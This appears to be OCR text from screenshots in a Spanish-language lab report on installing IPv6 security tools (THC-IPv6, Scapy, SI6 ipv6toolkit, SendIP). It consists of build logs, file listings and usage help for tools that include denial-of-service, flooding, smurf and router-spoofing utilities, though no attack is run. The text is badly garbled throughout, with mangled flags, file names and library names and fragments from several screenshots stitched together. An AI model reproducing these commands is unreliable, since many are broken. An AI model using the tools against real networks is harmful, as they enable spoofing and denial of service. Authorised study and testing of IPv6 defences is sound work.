redir6 redir6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

smurf6 smurf6.c thc-ipve-1ib.o -lpcap -1ssl -lcrypto

alive6 alive6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

t00big6 toobig6.c thc-ipvé-lib.o -lpcap -1ssl -lcrypto

rsmurf6 rsmurf6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto
implementation6 implementation6.c thc-ipv6-lib.o -lpcap -1ssl -lcrypto
implementation6d inplementation6d.c thc-ipvé-lib.o -lpcap -lssl -lcrypto
sendpees6 sendpees.c thc-ipv-1ib.o -lpcap -1ssl -lcrypto
sendpeesmp6 sendpeesmp6.c thc-ipv6-1ib.o -lpcap -ssl -lcrypto
randicnpé randicmps.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

fuzz_ip6 fuzz ip6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

lood_mld6 flood mld6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

flood mld26 flood mld26.c thc-ipv6-lib.o -lpcap -lssl -lcrypto
flood_routers flood_router.c thc-ipvé-lib.o -lpcap -lssl -lcrypto
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desitel (&)  jr|

Archivo Editar Ver Terminal Ayuda N
desitel@ESPDTISVCN19:~/thc-1pv6-2.35 sudo make install

gcc -02 -D HAVE SSL -C -0 thc-ipv6-1ib.o thc-ipv6-lib.c

gcc -02 -D_HAVE SSL -0 parasite6 parasites.c thc-ipv6-lib.o -lpcap -lssl -lcrypt
o

gcc -02 -D_HAVE SSL -0 dos-new-ip6 dos-new-ip6.c thc-ipve-lib.o -lpcap -1ssl -lc
rypto

gcc -02 -D_HAVE SSL -0 detect-new-ip6 detect-new-ip6.c thc-ipv6-lib.o -lpcap -1s
sl -lcrypto

gcc -02 -D_HAVE SSL -0 fake router6 fake router6.c thc-ipv6-lib.o -lpcap -lssl -
Lerypto

gcc -02 -D_HAVE SSL -0 fake advertise6 fake advertise6.c thc-ipv6-lib.o -lpcap -
Ussl -lerypto

gec -02 -D_HAVE SSL -0 fake solicitate6 fake solicitates.c thc-ipve-lib.o -lpcap
-lssl -lcrypto

gec -02 -D_HAVE SSL -0 fake mlds fake mld6.c thc-ipv6-lib.o -lpcap -1ssl -lcrypt
o

gec -02 -D_HAVE SSL -0 fake mld26 fake mld26.c thc-ipv6-lib.o -lpcap -Issl -lery
pto

gcc -02 -D_HAVE SSL -o fake mldrouter6 fake mldrouter6.c thc-ipvé-lib.o -lpcap -
Ussl -lerypto

gce -02 -D_HAVE SSL -0 flood mldrouter6 flood mldrouters.c thc-ipve-lib.o -lpcap
-lssl -lcrypto

gcc -02 -D_HAVE SSL -0 fake mipv6 fake mipv6.c thc-ipv6-lib.o -lpcap -Lssl -lery

pto
gcc -02 -D_HAVE SSL -0 redir6 redir6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto
gcc -02 -D_HAVE SSL -0 smurf6 smurf6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto
gcc -02 -D_HAVE SSL -0 alive6 alive6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto
gcc -02 -D_HAVE SSL -0 toobigh toobigé.c thc-ipvé-lib.o -lpcap -lssl -lcrypto
gcc -02 -D_HAVE SSL -0 rsmurf6 rsmurf6.c thc-ipv6-lib.o -lpcap -lssl -lcrypto

gcc -02 -D_HAVE SSL -0 implementation6 implementation.c thc-ipv6-1ib.o -lpcap -
Ussl -lerypto

gcc -02 -D_HAVE SSL -0 implementation6d implementation6d.c thc-ipv6-1ib.o -lpcap
-1ssl -lcrypto

gcc -02 -D_HAVE SSL -0 sendpees6 sendpees6.c thc-ipve-lib.o -lpcap -lssl -lcrypt

o
gcc -02 -D_HAVE SSL -0 sendpeesmp sendpeesmp6.c thc-ipv6-lib.o -lpcap -lssl -lc
rypto

gcc -02 -D_HAVE SSL -0 randicmp6 randicmpé.c thc-ipve-lib.o -lpcap -lssl -lcrypt
o
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desitel@ESPDTISVCN19:~/thc-ipv6-2.35 make clean

rm -f parasite6 dos-new-ip6 detect-new-ip6 fake router6 fake advertises fake sol
icitate6 fake mlds fake mld26 fake mldrouter6 flood mldrouter fake mipv6 rediré
snurf6 alive6 toobig rsmurf6 implementations implementation6d sendpeess sendpe
esmp6 randicmpé fuzz ip6 flood mldé flood mld26 flood routers flood advertise6
Lood solicitates trace6 exploit6 denialé fake dhcps6 flood dhcpce fake dnséd fra
gnentations kill router6 fake dnsupdate6 ndpexhausts detect sniffer6 dump router
6 fake router26 flood router26 passive discovery6 dnsrevenums inverse Lookups no

de_query6 address6 covert sends covert sendsd inject alives firewalls ndpexhaust
26 fake pin6 thcsyné redirsniffs dnsdict thcpingé dnssecwakk thc-ipvé-lib.o cor

e DEADJOE *~

desitel@ESPDTISVCN19:~/thc-1pv6-2.35 sudo thc-ipv6-2.3

sudo: thc-ipv6-2.3: command not found

desitel@ESPDTISVCN19:~/thc-1pv6-2.38 sudo thc-ipvé

sudo: thc-ipv6: command not found

desitel@ESPDTISVCNI9:~/thc-ipv6-2.38 sudo alive6

alive6 v2.3 (c) 2013 by van Hauser / THC <vh@thc.org> www. thc.org

syntax: alive6 [-I srcip6] [-i file] [-o file] [-DM] [-p] [-F] [-e opt] [-s port
1 [-a port,..] [-u port,..] [-W TIME] [-dlrvs] interface [unicast-or-multicas
t-address [remote-router]]

Shows alive addresses in the segment. If you specify a remote router, the
packets are sent with a routing header prefixed by fragmentation
Options:

-ifile  check systems from input file

-0 file write results to output file

M enunerate hardware addresses (MAC) from input addresses (slow!)
-0 enumerate DHCP address space from input addresses
-p send a ping packet for alive check (default)

-e dst,hop send an errornous packets: destination (default), hop-by-hop

-s port,port,.. TCP-SYN packet to ports for alive check

-a port,port,.. TCP-ACK packet to ports for alive check

-u port,port,.. UDP packet to ports for alive check

-d DNS resolve alive ipv6 addresses

-n number how often to send each packet (default: local 1, remote 2)

W time  time in ms to wait after sending a packet (default: 1)

-5 slow mode, get best router for each remote target or when proxy-NA
I srcip6 use the specified IPv6 address as source
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desitel@ESPDTISVCN19: /home/paty/Descargas/thc-ipv6-2.35 s -1 | more
total 4668

-ruxr-xr-x 1 desitel 513 472 2013-04-11 08:12 Gtodtest.sh
-ruxr-xr-x 1 desitel desitel 57428 2013-11-19 15:48 address6
-rw-r--r-- 1 desitel 513 5170 2013-04-11 03:49 address6.c
-ruxr-xr-x 1 desitel desitel 79872 2013-11-19 15:48 alive6
-rw-r--r-- 1 desitel 513 45424 2013-04-11 ©3:49 alive6.c
druxr-xr-x 2 desitel 513 4096 2013-04-11 6: contrib
-ruxr-xr-x 1 desitel desitel 57711 2013-11-19 1 covert_sends

1 desitel 513 4949 2013-04-11 6: covert_sends.c

1 desitel desitel 57910 2013-11-19 1 covert_send6d

1 desitel 513 3787 2013-04-11 6: covert_sendéd.c

1 desitel 513 17074 2013-04-11 08:13 CHANGES

1 desitel desitel 57520 2013-11-19 15:48 denialé

1 desitel 513 5677 2013-04-11 03:49 denial6.c

1 desitel desitel 57845 2013-11-19 15:48 detect-new-ip6

1 desitel 513 2386 2013-04-11 03:49 detect-new-ip6.c

1 desitel desitel 61862 2013-11-19 15:48 detect sniffer6

1 desitel 513 4629 2013-04-11 03:49 detect sniffer6.c

1 desitel desitel 75166 2013-11-19 15:48 dnsdict6

1 desitel 513 28631 2013-04-11 03:49 dnsdict6.c

1 desitel 513 68889 2013-04-11 03:49 dnsdict6.h

1 desitel desitel 62374 2013-11-19 15:48 dnsrevenumé

1 desitel 513 9870 2013-04-11 ©3:49 dnsrevenums.c

1 desitel desitel 16828 2013-11-19 15:48 dnssecwalk

1 desitel 513 9749 2013-04-11 03:49 dnssecwalk.c

1 desitel 513 539 2013-04-11 03:49 dos mld.sh

1 desitel desitel 57808 2013-11-19 15:48 dos-new-ip6

1 desitel 513 3840 2013-04-11 03:49 dos-new-ip6.c

1 desitel desitel 62059 2013-11-19 15:48 dump_router

1 desitel 513 6695 2013-04-11 03:49 dump_routers.c

1 desitel desitel 61704 2013-11-19 15:48 exploit6

1 desitel 513 11950 2013-04-11 03:49 exploit6.c

1 desitel 513 854 2013-04-11 03:49 extract hosts6.sh

1 desitel 513 840 2013-04-11 03:49 extract networks6.sh

1 desitel desitel 61633 2013-11-19 1 fake advertise6

1 desitel 513 6198 2013-04-15 : fake advertise6.c
-nuxr-xr-x 1 desitel desitel 61550 2013-11-19 15:48 fake dhcps6
- Mas— |
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copying scapy/crypto/ _init .py -> build/Lib.linux-i686-2.6/scapy/crypto
copying scapy/crypto/cert.py -> build/lib.linux-1686-2.6/scapy/crypto
creating build/lib. linux-1686-2.6/scapy/contrib

copying scapy/contrib/igmpv3.py -> build/Lib.linux-i686-2.6/scapy/contrib
copying scapy/contrib/cdp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/mpls.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/wpa_eapol.py -> build/lib.linux-i686-2.6/scapy/contrib
copying scapy/contrib/carp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ppi_geotag.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/vtp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ppi.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/dtp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/etherip.py -> build/Lib.linux-i686-2.6/scapy/contrib
copying scapy/contrib/bgp.py -> build/lib. Linux-1686-2.6/scapy/contrib
copying scapy/contrib/chdlc.py -> build/Lib. linux-i686-2.6/scapy/contrib
copying scapy/contrib/eigrp.py -> build/Lib. linux-i686-2.6/scapy/contrib
copying scapy/contrib/_init .py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/gsm um.py -> build/Lib. linux-i686-2.6/scapy/contrib
copying scapy/contrib/ripng.py -> build/Lib. linux-i686-2.6/5capy/contrib
copying scapy/contrib/ldp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/rsvp.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ospf.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ikev2.py -> build/Lib.linux-i686-2.6/scapy/contrib
copying scapy/contrib/ubberlogger.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ppi_cace.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/avs.py -> build/lib.linux-1686-2.6/scapy/contrib
copying scapy/contrib/ignp.py -> build/Lib. linux-1686-2.6/scapy/contrib
copying scapy/contrib/skinny.py -> build/Lib.linux-i686-2.6/scapy/contrib
copying scapy/contrib/vap.py -> build/lib.linux-1686-2.6/scapy/contrib
running build scripts

creating build/scripts-2.6

copying and adjusting bin/scapy -> build/scripts-2.6

copying and adjusting bin/UTscapy -> build/scripts-2.6

changing mode of build/scripts-2.6/scapy from 644 to 755

changing mode of build/scripts-2.6/UTscapy from 644 to 755

running install lib

creating /usr/local/lib/python2.6/dist-packages/scapy

creating /usr/local/lib/python2.6/dist-packages/scapy/asnl

copying build/lib.linux-1686-2.6/scapy/asn1/asnl.py -> /usr/local/lib/python2.6/

@) [ vie15denov, 11:54
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s.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/scapy/contrib/ignp.py to i
gnp. pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/scapy/contrib/skinny.py to
skinny.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/scapy/contrib/vap.py to vq
p-pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/scapy/pipetool.py to pipet
ool.pyc
running install scripts
copying build/scripts-2.6/UTscapy -> /usr/local/bin
copying build/scripts-2.6/scapy -> /usr/local/bin
changing mode of /usr/local/bin/UTscapy to 755
changing mode of /usr/local/bin/scapy to 755
running install data
copying doc/scapy.1.9z -> /usr/local/share/man/nanl
running install egg_info
Writing /usr/local/lib/python2.6/dist-packages/scapy-2.2.6_dev.egg-info
desitel@ESPDTISVCN19:~/scapy$ sudo scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
Welcome to Scapy (2.2.0-dev)
>>> quit [N
Use quit() or Ctrl-D (i.e. EOF) to exit
~>> exit
Use exit() or Ctrl-D (i.e. EOF) to exit
~>> exit()
desitel@ESPDTISVCN19:~/scapy$ history 10
253 sudo aptitude update
254 sudo apt-get install chromiun-browser
255 sudo apt-get install chromium-browser-110n
256 locate mecurial
257 sudo apt-get install mercurial
258 hg clone http://hg.secdev.org/scapy
259 cd scapy
260 sudo python setup.py install
261 sudo scapy
262 history 10
desitel@ESPDTISVCN19:~/scapys |

@) [ vie15denov, 11:53
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desitel@ESPDTISVCN19:~$ tar -xzf ipv6toolkit-vl.4.1.tar.gz

desitel@ESPDTISVCN19:~$ cd ipv6toolkit-v1.4.1/

desitel@ESPDTISVCN19:~/ipv6toolkit-v1.4.1$ make

gcc -Wall -0 addr6 tools/addré.c -lpcap -lm

gcc -Wall -o flows tools/flows.c -lpcap -lm

gce -Wall -o fragé tools/frage.c -lpcap -ln

gce -Wall -o icmpé tools/icmps.c -lpcap -lm

gce -Wall -o jumboé tools/jumbos.c -lpcap -lm

gcc -Wall -0 nab tools/nab.c -lpcap -1n

gce -Wall -c -o libipyv6.o tools/libipvé.c

gce -Wall -0 ni6 tools/ni6.c libipv6.o -lpcap -lm

gce -Wall -0 ns6 tools/ns6.c libipvé.o -lpcap -1n

gcc -Wall -o ra6 tools/raé.c -lpcap -lm

gce -Wall -o rd6 tools/rds.c -lpcap -ln

gce -Wall -o rsé tools/rsé.c libipv6.o -lpcap -ln

gcc -Wall -0 scan6 tools/scané.c -lpcap -lm

gcc -Wall -0 tcpb tools/tcpé.c Libipvé.o -lpcap -lm

echo "# SI6 Networks' IPv6 Toolkit Configuration File" > \
data/ipvetoolkit. conf

echo OUI-Database=/usr/local/share/ipv6toolkit/oui.txt >> \
data/ipvétoolkit. conf

desitel@ESPDTISVCN19:~/ipv6toolkit-v1.4.1$ sodo make install

No se ha encontrado la orden «sodo», quizas quiso decir:

La orden «sudo» del paquete «sudo» (main)

La orden «sudo» del paquete «sudo-ldap» (universe)

La orden «todo» del paquete «devtodo» (universe)

La orden «solo» del paquete «sgt-puzzles» (universe)

sodo: orden no encontrada

desitel@ESPDTISVCN19:~/ipv6toolkit-v1.4.1$ sudo make install

echo "# SI6 Networks' IPv6 Toolkit Configuration File" > \
data/ipvetoolkit. conf

echo OUI-Database=/usr/local/share/ipv6toolkit/oui.txt >> \
data/ipvetoolkit. conf

# Install the binaries

install -me755 -d /usr/local/bin

install -me755 -d /usr/local/sbin

install -me755 addré /usr/local/bin

install -me755 flows fragé icmps jumbob nab ni6 nsé raé rds rsé scané tcps /usr/local/sbin =

@) [] mié20denov, 16:48

T>)
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desitel@ESPDTISVCN19:~/ipv6toolkit-v1.4.1$ sudo make install

echo "# SI6 Networks' IPV6 Toolkit Configuration File® > \
data/ipv6toolkit.conf N

echo OUI-Database=/usr/Local/share/ipvétoolkit/oui.txt >> \
data/ipvstoolkit. conf

# Install the binaries

install -ne755 -d /usr/local/bin

install -ne755 -d /usr/local/sbin

install -me755 addré /usr/local/bin

install -me755 flows fragé icmp6 jumbo6 na6 ni6 ns6 ra6 rdé rsé scané tcpé /usr/local/sbin

# Install the configuration file

install -n@644 data/ipvétoolkit.conf /etc

# Install the IEEE OUI database

install -ne755 -d /usr/local/share/ipvétoolkit

install -ne644 data/oui.txt /usr/local/share/ipvetoolkit

# Install the manual pages

install -ne755 -d /usr/local/man/manl

install -ne644 manuals/*.1 /usr/Local/man/manl

install -me755 -d /usr/local/man/mans

install -ne644 manuals/*.5 /usr/Local/man/man5

install -me755 -d /usr/local/man/man7

install -ne644 manuals/*.7 /usr/Local/man/man7

desitel@ESPDTISVCN19:~/ipv6toolkit-v1.4.1$ 1s -1

total 856

-ruxr-xr-x 1 desitel desitel 33801 2013-11-20 addrs

1 desitel desitel 841 2013-08-30 CONTRIB.TXT

1 desitel desitel 3486 2013-09-04 CHANGES.. TXT
druxr-xr-x 2 desitel desitel 4096 2013-11-20 data
-ruxr-xr-x 1 desitel desitel 46068 2013-11-20 flows
-ruxr-xr-x 1 desitel desitel 63718 2013-11-20 fragé
-rw-r--r-- 1 desitel desitel 5105 2013-09-04 GNUmakefile
-ruxr-xr-x 1 desitel desitel 65384 2013-11-20 icmp6
-ruxr-xr-x 1 desitel desitel 51335 2013-11-20 jumbos

1 desitel desitel 25860 2013-11-20 1ibipv6.0

1 desitel desitel 35147 2013-08-24 LICENSE.TXT
-rw-r--r-- 1 desitel desitel 5018 2013-09-04 Makefile
druxr-xr-x 2 desitel desitel 4096 2013-08-24 manuals
-ruxr-xr-x 1 desitel desitel 41948 2013-11-20 nas
ruxr-xr-x 1 desitel desitel 72238 2013-11-20 ni6 o
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install -me644 manuals/*.5 /usr/local/man/man5
install -me755 -d /usr/local/man/man7

install -me644 manuals/*.7 /usr/local/man/man7
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ 1s -1 | more

total 856

-rwxr-xr-x 1 paty paty 33765 2013-12-05 11:01 addr6
-rw-rw-r-- 1 paty paty 841 2013-08-30 20:45 CONTRIB.TXT
-rw-rw-r-- 1 paty paty 3486 2013-09-04 ©5:47 CHANGES.TXT
drwxrwxr-x 2 paty paty 4696 2013-12-05 11:01 data
-rwxr-xr-x 1 paty paty 46032 2013-12-05 11:01 flow6
-rwxr-xr-x 1 paty paty 63682 2013-12-65 11:01 frag6
-rw-rw-r-- 1 paty paty 5105 2013-09-04 05:39 GNUmakefile
-rwxr-xr-x 1 paty paty 65348 2013-12-65 11:01 icmp6
-rwxr-xr-x 1 paty paty 51299 2013-12-05 11:01 jumbo6
-rw-r--r-- 1 paty paty 25856 2013-12-85 11:01 libipv6.o N
-rw-rw-r-- 1 paty paty 35147 2013-08-24 ©3:35 LICENSE.TXT
-rw-rw-r-- 1 paty paty 5018 2013-09-04 03:54 Makefile
drwxrwxr-x 2 paty paty 4696 2013-08-24 03:35 manuals
-rwxr-xr-x 1 paty paty 41912 2013-12-05 11:01 naé
-rwxr-xr-x 1 paty paty 72202 2013-12-05 11:01 ni6
-rwxr-xr-x 1 paty paty 49918 2013-12-05 11:01 ns6
-rwxr-xr-x 1 paty paty 51185 2013-12-65 11:01 raé
-rwxr-xr-x 1 paty paty 56459 2013-12-05 11:01 rd6
-rw-rw-r-- 1 paty paty 1288 2013-09-04 05:53 README.TXT
-rwxr-xr-x 1 paty paty 49893 2013-12-05 11:01 rs6
-rwxr-xr-x 1 paty paty 87734 2013-12-65 11:01 scan6
-rwxr-xr-x 1 paty paty 72383 2013-12-05 11:01 tcp6

M paty - Navegador de ar...
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paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo tcpé
usage: tcp6 -i INTERFACE [-S LINK SRC_ADDR] [-D LINK-DST-ADDR] [-s SRC_ADDR[/LEN]] [-d DST_ADDR]
[-A HOP_LIMIT] [-y FRAG SIZE] [-u DST OPT HDR SIZE] [-U DST OPT U HDR SIZE] [-H HBH_OPT HDR SIZE]
[-P PAYLOAD SIZE] [-0 SRC PORT] [-a DST PORT] [-X TCP_FLAGS] [-q TCP SEQ] [-Q TCP_ACK] [-V TCP U
RP] [-w TCP_WIN] [-N] [-f] [-j PREFIX[/LEN]] [-k PREFIX[/LEN]] [-] LINK ADDR] [-K LINK ADDR] [-b
PREFIX[/LEN]] [-g PREFIX[/LEN]] [-B LINK ADDR] [-G LINK ADDR] [-F N_SOURCES] [-T N_PORTS] [-L | -
1] [-z SECONDS] [-v] [-h]
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo icmp6
usage: icmp6 -i INTERFACE [-s SRC_ADDR[/LEN]] [-d DST_ADDR]

[-S LINK SRC_ADDR] [-D LINK-DST-ADDR] [-c HOP_LIMIT] [-y FRAG SIZE]
[-u DST_OPT HDR SIZE] [-U DST OPT U HDR SIZE] [-H HBH OPT HDR SIZE]
[-t TYPE[:CODE] | -e CODE | -A CODE -V CODE -R CODE] [-r TARGET ADDR]
[-x PEER_ADDR] [-c HOP_LIMIT] [-m MTU] [-O POINTER] [-p PAYLOAD TYPE]
[-P PAYLOAD SIZE] [-n] [-a SRC_PORTL[:SRC_PORTH]]
[-0 DST_PORTL[:DST_PORTH]] [-X TCP_FLAGS] [-q TCP_SEQ] [-Q TCP_ACK]
[-V TCP_URP] [-w TCP_WIN] [-M] [-j PREFIX[/LEN]] [-k PREFIX[/LEN]]
[-3 LINK_ADDR] [-K LINK ADDR] [-b PREFIX[/LEN]] [-g PREFIX[/LEN]]

[-B LINK_ADDR] [-G LINK ADDR] [-f] [-L | -11 [-z] [-v] [-h]
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo rs6
usage: rs6 -i INTERFACE [-s SRC_ADDR[/LEN]] [-d DST _ADDR] [-y FRAG SIZE] [-u DST_OPT HDR SIZE] [-
U DST_OPT U_HDR_SIZE] [-H HBH_OPT HDR_SIZE] [-S LINK SRC_ADDR] [-D LINK-DST-ADDR] [-E LINK_ADDR]
[-e] [-F N_SOURCES] [-z SECONDS] [-1] [-v] [-h]
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo raé
usage: ra6 -i INTERFACE [-s SRC_ADDR[/LEN]] [-d DST ADDR] [-y FRAG SIZE] [-u DST OPT HDR SIZE] [-
U DST_OPT U HDR SIZE] [-H HBH OPT HDR SIZE] [-S LINK SRC _ADDR] [-D LINK DST ADDR] [-c CUR HOP] [-
t ROUTER LIFETIME] [-r REACHABLE TIME] [-x RETRANS TIMER] [-m] [-o] [-a] [-q] [-p PREFERENCE] [-E
LINK ADDR] [-e] [-P PREFIX/LEN[#FLAGS[#VALID[#PREFERRED]]]] [-M MTU] [-N [LIFETIME[#DNS_ADDR]]]%
[-R PREFIX/LEN[#PREF[#LIFETIME]]] [-f N_PREFIXES] [-F N_SOURCES] [-w N_ROUTES] [-W N_ADDRS[#ADDRS
PEROPT]] [-j PREFIX[/LEN]] [-k PREFIX[/LEN]] [-] LINK ADDR] [-K LINK ADDR] [-b PREFIX[/LEN]] [-g

M paty - Navegador de ar...
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SendIP

Author: Mike Ricketts <mikeGearth.li>

Vieb: http://wni.earth.li/projectpurple/progs/sendip. html
Part of Project Purple. (http://wni.earth.li/projectpurple/]

1. Introduction

SendIP is a tool to send completely arbitrary packets out
In conjunction with PackPrint (see
http://wni.earth.i/projectpurple/progs/packprint.html),
extrenely powerful debugging tool for networks.

1.1 Home page
ALL the latest news, documentation and versions of SendI
available from http://wm.earth.li/projectpurple/ or dir
‘the author.

Please, if you find SendIP useful, consider visiting maki
at http://heaven.on.earth.li/donate. The more donations
time I can afford to spend improving SendIP!

2. Protocols

Here is a list of protocols that SendIP currently unders
* TPv4 (but see below section 7)

* TP
* BGP
* I
* UDP





image30.png
<(3 Aplicaciones Lugares Sistema jue 21 de nov, 10:43 desitel (U) Ty
a Instalador de paquetes - sendip (=)(2)(x) hrchives L))
Archivo Ayuda
Paquete: sendip Instalar el paguete | fistadeicono | | @
Estado: Todas las dependencias estén satisfechas
Gaebirgtk

Instalacién finalizada . .

Sehair jado el «sendip_2.5-3.i386.deb» m;ﬁ Tabs-2013-10-31.zip Tabs.war

4

[] Cerrar autométicamente tras aplicarse los cambios con éxito .

<@ |
gehe2.  cakephp-cakepnp2.  netbeans.T-in
.Zip  4.2-65-gl45dbac.tar. sh
9

jdk-7u45-linux-i586.  jdk-7ud5-linux-i586.  jdk-7u45-nb-7_4- 1381475566_org-  xampp-linux-x64-1.  xampp-linux-1.8.3-

pm targz linux-i586.sh cakephp-netbeans-  8.3--installerrun Tinstaller.un

0.9.6-for-nb74.nbm
ipv6toolkit-v1.4.1.  virtualbox-4.3 4.3.2- ipv6securityhacking ubuntu-10.04- Distros-Linux-y- sendip-2.5.tar.gz
targz 90405~Ubuntu~uci herberg- desktop-i386.is0 cual-elegir-para-
d_i386.deb 130326122834-ph... ‘empezarhtm|

[
Semt
@n

Descargar Ubuntu  sendip_2.5.origtar.  sendip_2.5-3.diff.gz

10.04.htm! 9z

«sendip_2.5-3_i386.deb» seleccionado (44,9 KiB)





image31.emf

image32.emf

image33.emf

image34.emf

image35.emf

image36.emf

image37.emf

image38.emf

image39.emf

image40.emf

image41.emf

image42.emf

image43.emf

image44.emf

